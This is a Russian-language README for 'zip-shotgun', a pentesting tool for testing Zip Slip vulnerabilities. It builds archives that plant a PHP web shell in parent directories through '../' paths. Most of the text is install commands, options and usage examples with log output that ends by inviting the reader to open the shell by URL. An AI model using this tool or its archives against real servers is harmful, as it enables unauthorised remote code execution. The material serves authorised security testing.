
Утилитарный скрипт для тестирования функциональности загрузки zip-файлов (и возможного извлечения zip-файлов) на уязвимости (также известные как Zip Slip)
Утилита для тестирования функциональности загрузки zip-файлов (и возможного извлечения zip-файлов) на уязвимости (также известные как Zip Slip). Идея для этого скрипта взята из этой статьи в Silent Signal Techblog - Загрузка сжатого файла и выполнение команд и из OWASP - Тестирование загрузки вредоносных файлов
На Snyk.io есть отчёт о том, как это работает: Уязвимость Zip Slip и репозиторий GitHub с уязвимыми библиотеками на разных языках: Репозиторий Snyk.io Zip Slip на GitHub
Также есть отличное видео от LiveOverflow, проливающее свет на уязвимости Zip Slip и Zipperdown: Критические уязвимости .zip? - Zip Slip и ZipperDown
Этот скрипт создаёт архив, содержащий файлы с "../" в имени. При извлечении это может привести к тому, что файлы будут извлечены в родительские каталоги. Это может позволить атакующему разместить оболочки в каталогах, доступных через веб-браузер.
По умолчанию используется PHP-веб-оболочка wwwolf, и вся заслуга в этом принадлежит WhiteWinterWolf. Исходный код доступен ЗДЕСЬ
Установка с помощью Python pip (требуется Python 3)
pip3 install zip-shotgun --upgrade
Клонирование репозитория git и установка
git clone https://github.com/jpiechowka/zip-shotgun.git
Выполните из корневого каталога клонированного репозитория (где находится файл setup.py)
pip3 install . --upgrade
Usage: zip-shotgun [OPTIONS] OUTPUT_ZIP_FILE
Options:
--version Показать версию и выйти.
-c, --directories-count INTEGER
Количество каталогов для возврата
внутри zip-файла (например, 3 означает, что
в zip будут добавлены 3 файла: shell.php,
../shell.php и ../../shell.php, где
shell.php — это имя указанной вами оболочки
или случайно сгенерированное значение)
[по умолчанию: 16]
-n, --shell-name TEXT Имя оболочки внутри созданного zip-
файла (например, shell). Если не указано, будет
сгенерировано случайное. Не может содержать пробелы
-f, --shell-file-path PATH Файл, содержащий код оболочки. Если
эта опция не указана, будет добавлена
оболочка wwwolf
(https://github.com/WhiteWinterWolf/wwwolf-
php-webshell) . Если указано имя, оно
будет добавлено в zip с указанным именем,
или, если не указано, имя будет случайно
сгенерировано.
--compress Включить сжатие. Если этот флаг установлен,
архив будет сжат с использованием алгоритма
DEFLATE с уровнем сжатия 9. По умолчанию
сжатие не применяется.
-h, --help Показать это сообщение и выйти.
Использование всех параметров по умолчанию
zip-shotgun archive.zip
Часть вывода скрипта
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Открытие выходного zip-файла: REDACTED\zip-shotgun\archive.zip
12/Dec/2018 Wed 23:13:13 +0100 | WARNING | Имя оболочки не было указано. Сгенерировано случайное имя оболочки: BCsQOkiN23ur7OUj
12/Dec/2018 Wed 23:13:13 +0100 | WARNING | Файл оболочки не был указан. Используется код веб-оболочки wwwolf по умолчанию
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Используется расширение файла по умолчанию для веб-оболочки wwwolf: php
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Флаг --compress НЕ установлен. Архив будет несжатым. Файлы будут только сохранены.
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Запись файла в архив: BCsQOkiN23ur7OUj.php
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Установка полных прав на чтение/запись/выполнение (chmod 777) для файла: BCsQOkiN23ur7OUj.php
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Запись файла в архив: ../BCsQOkiN23ur7OUj.php
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Установка полных прав на чтение/запись/выполнение (chmod 777) для файла: ../BCsQOkiN23ur7OUj.php
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Запись файла в архив: ../../BCsQOkiN23ur7OUj.php
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Установка полных прав на чтение/запись/выполнение (chmod 777) для файла: ../../BCsQOkiN23ur7OUj.php
...
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Готово. Попробуйте получить доступ к оболочке, используя BCsQOkiN23ur7OUj.php в URL
Использование параметров по умолчанию и включение сжатия для архивного файла
zip-shotgun --compress archive.zip
Часть вывода скрипта
12/Dec/2018 Wed 23:16:13 +0100 | INFO | Открытие выходного zip-файла: REDACTED\zip-shotgun\archive.zip
12/Dec/2018 Wed 23:16:13 +0100 | WARNING | Имя оболочки не было указано. Сгенерировано случайное имя оболочки: 6B6NtnZXbXSubDCh
12/Dec/2018 Wed 23:16:13 +0100 | WARNING | Файл оболочки не был указан. Используется код веб-оболочки wwwolf по умолчанию
12/Dec/2018 Wed 23:16:13 +0100 | INFO | Используется расширение файла по умолчанию для веб-оболочки wwwolf: php
12/Dec/2018 Wed 23:16:13 +0100 | INFO | Флаг --compress был установлен. Архив будет сжат с использованием алгоритма DEFLATE с уровнем 9
...
12/Dec/2018 Wed 23:16:13 +0100 | INFO | Готово. Попробуйте получить доступ к оболочке, используя 6B6NtnZXbXSubDCh.php в URL
Использование параметров по умолчанию, но изменение количества каталогов для возврата в архиве на 3
zip-shotgun --directories-count 3 archive.zip
zip-shotgun -c 3 archive.zip
Скрипт запишет в архив всего 3 файла
Часть вывода скрипта
12/Dec/2018 Wed 23:17:43 +0100 | INFO | Открытие выходного zip-файла: REDACTED\zip-shotgun\archive.zip
12/Dec/2018 Wed 23:17:43 +0100 | WARNING | Имя оболочки не было указано. Сгенерировано случайное имя оболочки: 34Bv9YoignMHgk2F
12/Dec/2018 Wed 23:17:43 +0100 | WARNING | Файл оболочки не был указан. Используется код веб-оболочки wwwolf по умолчанию
12/Dec/2018 Wed 23:17:43 +0100 | INFO | Используется расширение файла по умолчанию для веб-оболочки wwwolf: php
12/Dec/2018 Wed 23:17:43 +0100 | INFO | Флаг --compress НЕ установлен. Архив будет несжатым. Файлы будут только сохранены.
12/Dec/2018 Wed 23:17:43 +0100 | INFO | Запись файла в архив: 34Bv9YoignMHgk2F.php
12/Dec/2018 Wed 23:17:43 +0100 | INFO | Установка полных прав на чтение/запись/выполнение (chmod 777) для файла: 34Bv9YoignMHgk2F.php
12/Dec/2018 Wed 23:17:43 +0100 | INFO | Запись файла в архив: ../34Bv9YoignMHgk2F.php
12/Dec/2018 Wed 23:17:43 +0100 | INFO | Установка полных прав на чтение/запись/выполнение (chmod 777) для файла: ../34Bv9YoignMHgk2F.php
12/Dec/2018 Wed 23:17:43 +0100 | INFO | Запись файла в архив: ../../34Bv9YoignMHgk2F.php
12/Dec/2018 Wed 23:17:43 +0100 | INFO | Установка полных прав на чтение/запись/выполнение (chmod 777) для файла: ../../34Bv9YoignMHgk2F.php
12/Dec/2018 Wed 23:17:43 +0100 | INFO | Готово. Попробуйте получить доступ к оболочке, используя 34Bv9YoignMHgk2F.php в URL
Использование параметров по умолчанию, но указание имени оболочки внутри архива и включение сжатия
Имя оболочки не может содержать пробелы
zip-shotgun --shell-name custom-name --compress archive.zip
zip-shotgun -n custom-name --compress archive.zip
Имя файлов оболочки внутри архива будет установлено в указанное пользователем.
Часть вывода скрипта
12/Dec/2018 Wed 23:19:12 +0100 | INFO | Открытие выходного zip-файла: REDACTED\zip-shotgun\archive.zip
12/Dec/2018 Wed 23:19:12 +0100 | WARNING | Файл оболочки не был указан. Используется код веб-оболочки wwwolf по умолчанию
12/Dec/2018 Wed 23:19:12 +0100 | INFO | Используется расширение файла по умолчанию для веб-оболочки wwwolf: php
12/Dec/2018 Wed 23:19:12 +0100 | INFO | Флаг --compress был установлен. Архив будет сжат с использованием алгоритма DEFLATE с уровнем 9
12/Dec/2018 Wed 23:19:12 +0100 | INFO | Запись файла в архив: custom-name.php
12/Dec/2018 Wed 23:19:12 +0100 | INFO | Установка полных прав на чтение/запись/выполнение (chmod 777) для файла: custom-name.php
12/Dec/2018 Wed 23:19:12 +0100 | INFO | Запись файла в архив: ../custom-name.php
12/Dec/2018 Wed 23:19:12 +0100 | INFO | Установка полных прав на чтение/запись/выполнение (chmod 777) для файла: ../custom-name.php
12/Dec/2018 Wed 23:19:12 +0100 | INFO | Запись файла в архив: ../../custom-name.php
12/Dec/2018 Wed 23:19:12 +0100 | INFO | Установка полных прав на чтение/запись/выполнение (chmod 777) для файла: ../../custom-name.php
12/Dec/2018 Wed 23:19:12 +0100 | INFO | Запись файла в архив: ../../../custom-name.php
...
12/Dec/2018 Wed 23:19:12 +0100 | INFO | Готово. Попробуйте получить доступ к оболочке, используя custom-name.php в URL
Указать собственный файл оболочки, но использовать случайное имя внутри архива. Установить количество каталогов на 3
zip-shotgun --directories-count 3 --shell-file-path ./custom-shell.php archive.zip
zip-shotgun -c 3 -f ./custom-shell.php archive.zip
Код оболочки будет взят из предоставленного пользователем файла. Имена внутри архива будут случайно сгенерированы.
Часть вывода скрипта
12/Dec/2018 Wed 23:21:37 +0100 | INFO | Открытие выходного zip-файла: REDACTED\zip-shotgun\archive.zip
12/Dec/2018 Wed 23:21:37 +0100 | WARNING | Имя оболочки не было указано. Сгенерировано случайное имя оболочки: gqXRAJu1LD8d8VKf
12/Dec/2018 Wed 23:21:37 +0100 | INFO | Файл, содержащий код оболочки, был указан: REDACTED\zip-shotgun\custom-shell.php. Содержимое будет добавлено в архив
12/Dec/2018 Wed 23:21:37 +0100 | INFO | Получение расширения файла из указанного файла оболочки для повторного использования: php
12/Dec/2018 Wed 23:21:37 +0100 | INFO | Открытие указанного файла с кодом оболочки: REDACTED\zip-shotgun\custom-shell.php
12/Dec/2018 Wed 23:21:37 +0100 | INFO | Флаг --compress НЕ установлен. Архив будет несжатым. Файлы будут только сохранены.
12/Dec/2018 Wed 23:21:37 +0100 | INFO | Запись файла в архив: gqXRAJu1LD8d8VKf.php
12/Dec/2018 Wed 23:21:37 +0100 | INFO | Установка полных прав на чтение/запись/выполнение (chmod 777) для файла: gqXRAJu1LD8d8VKf.php
12/Dec/2018 Wed 23:21:37 +0100 | INFO | Запись файла в архив: ../gqXRAJu1LD8d8VKf.php
12/Dec/2018 Wed 23:21:37 +0100 | INFO | Установка полных прав на чтение/запись/выполнение (chmod 777) для файла: ../gqXRAJu1LD8d8VKf.php
12/Dec/2018 Wed 23:21:37 +0100 | INFO | Запись файла в архив: ../../gqXRAJu1LD8d8VKf.php
12/Dec/2018 Wed 23:21:37 +0100 | INFO | Установка полных прав на чтение/запись/выполнение (chmod 777) для файла: ../../gqXRAJu1LD8d8VKf.php
12/Dec/2018 Wed 23:21:37 +0100 | INFO | Готово. Попробуйте получить доступ к оболочке, используя gqXRAJu1LD8d8VKf.php в URL
Указать собственный файл оболочки, задать имя оболочки для сохранения внутри архива. Установить количество каталогов на 3 и использовать сжатие
zip-shotgun --directories-count 3 --shell-name custom-name --shell-file-path ./custom-shell.php --compress archive.zip
zip-shotgun -c 3 -n custom-name -f ./custom-shell.php --compress archive.zip
Код оболочки будет взят из предоставленного пользователем файла. Имена внутри архива будут установлены в указанное пользователем имя.
Часть вывода скрипта
12/Dec/2018 Wed 23:25:19 +0100 | INFO | Открытие выходного zip-файла: REDACTED\zip-shotgun\archive.zip
12/Dec/2018 Wed 23:25:19 +0100 | INFO | Файл, содержащий код оболочки, был указан: REDACTED\zip-shotgun\custom-shell.php. Содержимое будет добавлено в архив
12/Dec/2018 Wed 23:25:19 +0100 | INFO | Получение расширения файла из указанного файла оболочки для повторного использования: php
12/Dec/2018 Wed 23:25:19 +0100 | INFO | Открытие указанного файла с кодом оболочки: REDACTED\zip-shotgun\custom-shell.php
12/Dec/2018 Wed 23:25:19 +0100 | INFO | Флаг --compress был установлен. Архив будет сжат с использованием алгоритма DEFLATE с уровнем 9
12/Dec/2018 Wed 23:25:19 +0100 | INFO | Запись файла в архив: custom-name.php
12/Dec/2018 Wed 23:25:19 +0100 | INFO | Установка полных прав на чтение/запись/выполнение (chmod 777) для файла: custom-name.php
12/Dec/2018 Wed 23:25:19 +0100 | INFO | Запись файла в архив: ../custom-name.php
12/Dec/2018 Wed 23:25:19 +0100 | INFO | Установка полных прав на чтение/запись/выполнение (chmod 777) для файла: ../custom-name.php
12/Dec/2018 Wed 23:25:19 +0100 | INFO | Запись файла в архив: ../../custom-name.php
12/Dec/2018 Wed 23:25:19 +0100 | INFO | Установка полных прав на чтение/запись/выполнение (chmod 777) для файла: ../../custom-name.php
12/Dec/2018 Wed 23:25:19 +0100 | INFO | Готово. Попробуйте получить доступ к оболочке, используя custom-name.php в URL